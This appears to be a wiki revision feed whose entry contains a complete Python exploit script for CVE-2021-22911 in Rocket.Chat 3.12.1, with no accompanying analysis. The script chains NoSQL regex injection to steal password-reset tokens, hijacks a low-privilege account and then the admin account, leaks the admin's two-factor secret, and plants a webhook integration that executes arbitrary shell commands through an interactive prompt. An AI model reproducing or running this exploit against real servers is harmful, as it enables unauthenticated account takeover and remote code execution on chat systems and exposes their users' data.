<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-22911_Rocket.Chat_3.12.1_RCE%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-22911 Rocket.Chat 3.12.1 RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-22911_Rocket.Chat_3.12.1_RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-22911_Rocket.Chat_3.12.1_RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T07:02:03Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-22911_Rocket.Chat_3.12.1_RCE%E6%BC%8F%E6%B4%9E&amp;diff=4231&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) # Author: enox # Date: 06-06-2021 # Product: Rocket.Chat # Vendor: https://rocket.chat/ #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-22911_Rocket.Chat_3.12.1_RCE%E6%BC%8F%E6%B4%9E&amp;diff=4231&amp;oldid=prev"/>
		<updated>2021-06-07T12:11:55Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) # Author: enox # Date: 06-06-2021 # Product: Rocket.Chat # Vendor: https://rocket.chat/ #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)&lt;br /&gt;
# Author: enox&lt;br /&gt;
# Date: 06-06-2021&lt;br /&gt;
# Product: Rocket.Chat&lt;br /&gt;
# Vendor: https://rocket.chat/&lt;br /&gt;
# Vulnerable Version(s): Rocket.Chat 3.12.1&lt;br /&gt;
# CVE: CVE-2021-22911&lt;br /&gt;
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import string&lt;br /&gt;
import time&lt;br /&gt;
import hashlib&lt;br /&gt;
import json&lt;br /&gt;
import oathtool&lt;br /&gt;
import argparse&lt;br /&gt;
&lt;br /&gt;
parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')&lt;br /&gt;
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)&lt;br /&gt;
parser.add_argument('-a', help='Administrator email', required=True)&lt;br /&gt;
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
adminmail = args.a&lt;br /&gt;
lowprivmail = args.u&lt;br /&gt;
target = args.t&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def forgotpassword(email,url):&lt;br /&gt;
	payload='{&amp;quot;message&amp;quot;:&amp;quot;{\\&amp;quot;msg\\&amp;quot;:\\&amp;quot;method\\&amp;quot;,\\&amp;quot;method\\&amp;quot;:\\&amp;quot;sendForgotPasswordEmail\\&amp;quot;,\\&amp;quot;params\\&amp;quot;:[\\&amp;quot;'+email+'\\&amp;quot;]}&amp;quot;}'&lt;br /&gt;
	headers={'content-type': 'application/json'}&lt;br /&gt;
	r = requests.post(url+&amp;quot;/api/v1/method.callAnon/sendForgotPasswordEmail&amp;quot;, data = payload, headers = headers, verify = False, allow_redirects = False)&lt;br /&gt;
	print(&amp;quot;[+] Password Reset Email Sent&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def resettoken(url):&lt;br /&gt;
	u = url+&amp;quot;/api/v1/method.callAnon/getPasswordPolicy&amp;quot;&lt;br /&gt;
	headers={'content-type': 'application/json'}&lt;br /&gt;
	token = &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	num = list(range(0,10))&lt;br /&gt;
	string_ints = [str(int) for int in num]&lt;br /&gt;
	characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints&lt;br /&gt;
&lt;br /&gt;
	while len(token)!= 43:&lt;br /&gt;
		for c in characters:&lt;br /&gt;
			payload='{&amp;quot;message&amp;quot;:&amp;quot;{\\&amp;quot;msg\\&amp;quot;:\\&amp;quot;method\\&amp;quot;,\\&amp;quot;method\\&amp;quot;:\\&amp;quot;getPasswordPolicy\\&amp;quot;,\\&amp;quot;params\\&amp;quot;:[{\\&amp;quot;token\\&amp;quot;:{\\&amp;quot;$regex\\&amp;quot;:\\&amp;quot;^%s\\&amp;quot;}}]}&amp;quot;}' % (token + c)&lt;br /&gt;
			r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)&lt;br /&gt;
			time.sleep(0.5)&lt;br /&gt;
			if 'Meteor.Error' not in r.text:&lt;br /&gt;
				token += c&lt;br /&gt;
				print(f&amp;quot;Got: {token}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	print(f&amp;quot;[+] Got token : {token}&amp;quot;)&lt;br /&gt;
	return token&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def changingpassword(url,token):&lt;br /&gt;
	payload = '{&amp;quot;message&amp;quot;:&amp;quot;{\\&amp;quot;msg\\&amp;quot;:\\&amp;quot;method\\&amp;quot;,\\&amp;quot;method\\&amp;quot;:\\&amp;quot;resetPassword\\&amp;quot;,\\&amp;quot;params\\&amp;quot;:[\\&amp;quot;'+token+'\\&amp;quot;,\\&amp;quot;P@$$w0rd!1234\\&amp;quot;]}&amp;quot;}'&lt;br /&gt;
	headers={'content-type': 'application/json'}&lt;br /&gt;
	r = requests.post(url+&amp;quot;/api/v1/method.callAnon/resetPassword&amp;quot;, data = payload, headers = headers, verify = False, allow_redirects = False)&lt;br /&gt;
	if &amp;quot;error&amp;quot; in r.text:&lt;br /&gt;
		exit(&amp;quot;[-] Wrong token&amp;quot;)&lt;br /&gt;
	print(&amp;quot;[+] Password was changed !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def twofactor(url,email):&lt;br /&gt;
	# Authenticating&lt;br /&gt;
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()&lt;br /&gt;
	payload ='{&amp;quot;message&amp;quot;:&amp;quot;{\\&amp;quot;msg\\&amp;quot;:\\&amp;quot;method\\&amp;quot;,\\&amp;quot;method\\&amp;quot;:\\&amp;quot;login\\&amp;quot;,\\&amp;quot;params\\&amp;quot;:[{\\&amp;quot;user\\&amp;quot;:{\\&amp;quot;email\\&amp;quot;:\\&amp;quot;'+email+'\\&amp;quot;},\\&amp;quot;password\\&amp;quot;:{\\&amp;quot;digest\\&amp;quot;:\\&amp;quot;'+sha256pass+'\\&amp;quot;,\\&amp;quot;algorithm\\&amp;quot;:\\&amp;quot;sha-256\\&amp;quot;}}]}&amp;quot;}'&lt;br /&gt;
	headers={'content-type': 'application/json'}&lt;br /&gt;
	r = requests.post(url + &amp;quot;/api/v1/method.callAnon/login&amp;quot;,data=payload,headers=headers,verify=False,allow_redirects=False)&lt;br /&gt;
	if &amp;quot;error&amp;quot; in r.text:&lt;br /&gt;
		exit(&amp;quot;[-] Couldn't authenticate&amp;quot;)&lt;br /&gt;
	data = json.loads(r.text)  &lt;br /&gt;
	data =(data['message'])&lt;br /&gt;
	userid = data[32:49]&lt;br /&gt;
	token = data[60:103]&lt;br /&gt;
	print(f&amp;quot;[+] Succesfully authenticated as {email}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	# Getting 2fa code&lt;br /&gt;
	cookies = {'rc_uid': userid,'rc_token': token}&lt;br /&gt;
	headers={'X-User-Id': userid,'X-Auth-Token': token}&lt;br /&gt;
	payload = '/api/v1/users.list?query={&amp;quot;$where&amp;quot;%3a&amp;quot;this.username%3d%3d%3d\'admin\'+%26%26+(()%3d&amp;gt;{+throw+this.services.totp.secret+})()&amp;quot;}'&lt;br /&gt;
	r = requests.get(url+payload,cookies=cookies,headers=headers)&lt;br /&gt;
	code = r.text[46:98]&lt;br /&gt;
	print(f&amp;quot;Got the code for 2fa: {code}&amp;quot;)&lt;br /&gt;
	return code&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def changingadminpassword(url,token,code):&lt;br /&gt;
	payload = '{&amp;quot;message&amp;quot;:&amp;quot;{\\&amp;quot;msg\\&amp;quot;:\\&amp;quot;method\\&amp;quot;,\\&amp;quot;method\\&amp;quot;:\\&amp;quot;resetPassword\\&amp;quot;,\\&amp;quot;params\\&amp;quot;:[\\&amp;quot;'+token+'\\&amp;quot;,\\&amp;quot;P@$$w0rd!1234\\&amp;quot;,{\\&amp;quot;twoFactorCode\\&amp;quot;:\\&amp;quot;'+code+'\\&amp;quot;,\\&amp;quot;twoFactorMethod\\&amp;quot;:\\&amp;quot;totp\\&amp;quot;}]}&amp;quot;}'&lt;br /&gt;
	headers={'content-type': 'application/json'}&lt;br /&gt;
	r = requests.post(url+&amp;quot;/api/v1/method.callAnon/resetPassword&amp;quot;, data = payload, headers = headers, verify = False, allow_redirects = False)&lt;br /&gt;
	if &amp;quot;403&amp;quot; in r.text:&lt;br /&gt;
		exit(&amp;quot;[-] Wrong token&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	print(&amp;quot;[+] Admin password changed !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def rce(url,code,cmd):&lt;br /&gt;
	# Authenticating&lt;br /&gt;
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()&lt;br /&gt;
	headers={'content-type': 'application/json'}&lt;br /&gt;
	payload = '{&amp;quot;message&amp;quot;:&amp;quot;{\\&amp;quot;msg\\&amp;quot;:\\&amp;quot;method\\&amp;quot;,\\&amp;quot;method\\&amp;quot;:\\&amp;quot;login\\&amp;quot;,\\&amp;quot;params\\&amp;quot;:[{\\&amp;quot;totp\\&amp;quot;:{\\&amp;quot;login\\&amp;quot;:{\\&amp;quot;user\\&amp;quot;:{\\&amp;quot;username\\&amp;quot;:\\&amp;quot;admin\\&amp;quot;},\\&amp;quot;password\\&amp;quot;:{\\&amp;quot;digest\\&amp;quot;:\\&amp;quot;'+sha256pass+'\\&amp;quot;,\\&amp;quot;algorithm\\&amp;quot;:\\&amp;quot;sha-256\\&amp;quot;}},\\&amp;quot;code\\&amp;quot;:\\&amp;quot;'+code+'\\&amp;quot;}}]}&amp;quot;}'&lt;br /&gt;
	r = requests.post(url + &amp;quot;/api/v1/method.callAnon/login&amp;quot;,data=payload,headers=headers,verify=False,allow_redirects=False)&lt;br /&gt;
	if &amp;quot;error&amp;quot; in r.text:&lt;br /&gt;
		exit(&amp;quot;[-] Couldn't authenticate&amp;quot;)&lt;br /&gt;
	data = json.loads(r.text)&lt;br /&gt;
	data =(data['message'])&lt;br /&gt;
	userid = data[32:49]&lt;br /&gt;
	token = data[60:103]&lt;br /&gt;
	print(&amp;quot;[+] Succesfully authenticated as administrator&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	# Creating Integration&lt;br /&gt;
	payload = '{&amp;quot;enabled&amp;quot;:true,&amp;quot;channel&amp;quot;:&amp;quot;#general&amp;quot;,&amp;quot;username&amp;quot;:&amp;quot;admin&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;rce&amp;quot;,&amp;quot;alias&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;avatarUrl&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;emoji&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;scriptEnabled&amp;quot;:true,&amp;quot;script&amp;quot;:&amp;quot;const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;webhook-incoming&amp;quot;}'&lt;br /&gt;
	cookies = {'rc_uid': userid,'rc_token': token}&lt;br /&gt;
	headers = {'X-User-Id': userid,'X-Auth-Token': token}&lt;br /&gt;
	r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)&lt;br /&gt;
	data = r.text&lt;br /&gt;
	data = data.split(',')&lt;br /&gt;
	token = data[12]&lt;br /&gt;
	token = token[9:57]&lt;br /&gt;
	_id = data[18]&lt;br /&gt;
	_id = _id[7:24]&lt;br /&gt;
&lt;br /&gt;
	# Triggering RCE&lt;br /&gt;
	u = url + '/hooks/' + _id + '/' +token&lt;br /&gt;
	r = requests.get(u)&lt;br /&gt;
	print(r.text)&lt;br /&gt;
&lt;br /&gt;
############################################################&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Getting Low Priv user&lt;br /&gt;
print(f&amp;quot;[+] Resetting {lowprivmail} password&amp;quot;)&lt;br /&gt;
## Sending Reset Mail&lt;br /&gt;
forgotpassword(lowprivmail,target)&lt;br /&gt;
&lt;br /&gt;
## Getting reset token&lt;br /&gt;
token = resettoken(target)&lt;br /&gt;
&lt;br /&gt;
## Changing Password&lt;br /&gt;
changingpassword(target,token)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Privilege Escalation to admin&lt;br /&gt;
## Getting secret for 2fa&lt;br /&gt;
secret = twofactor(target,lowprivmail)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
## Sending Reset mail&lt;br /&gt;
print(f&amp;quot;[+] Resetting {adminmail} password&amp;quot;)&lt;br /&gt;
forgotpassword(adminmail,target)&lt;br /&gt;
&lt;br /&gt;
## Getting reset token&lt;br /&gt;
token = resettoken(target)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
## Resetting Password&lt;br /&gt;
code = oathtool.generate_otp(secret)&lt;br /&gt;
changingadminpassword(target,token,code)&lt;br /&gt;
&lt;br /&gt;
## Authenticting and triggering rce&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
	cmd = input(&amp;quot;CMD:&amp;gt; &amp;quot;)&lt;br /&gt;
	code = oathtool.generate_otp(secret)&lt;br /&gt;
	rce(target,code,cmd)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>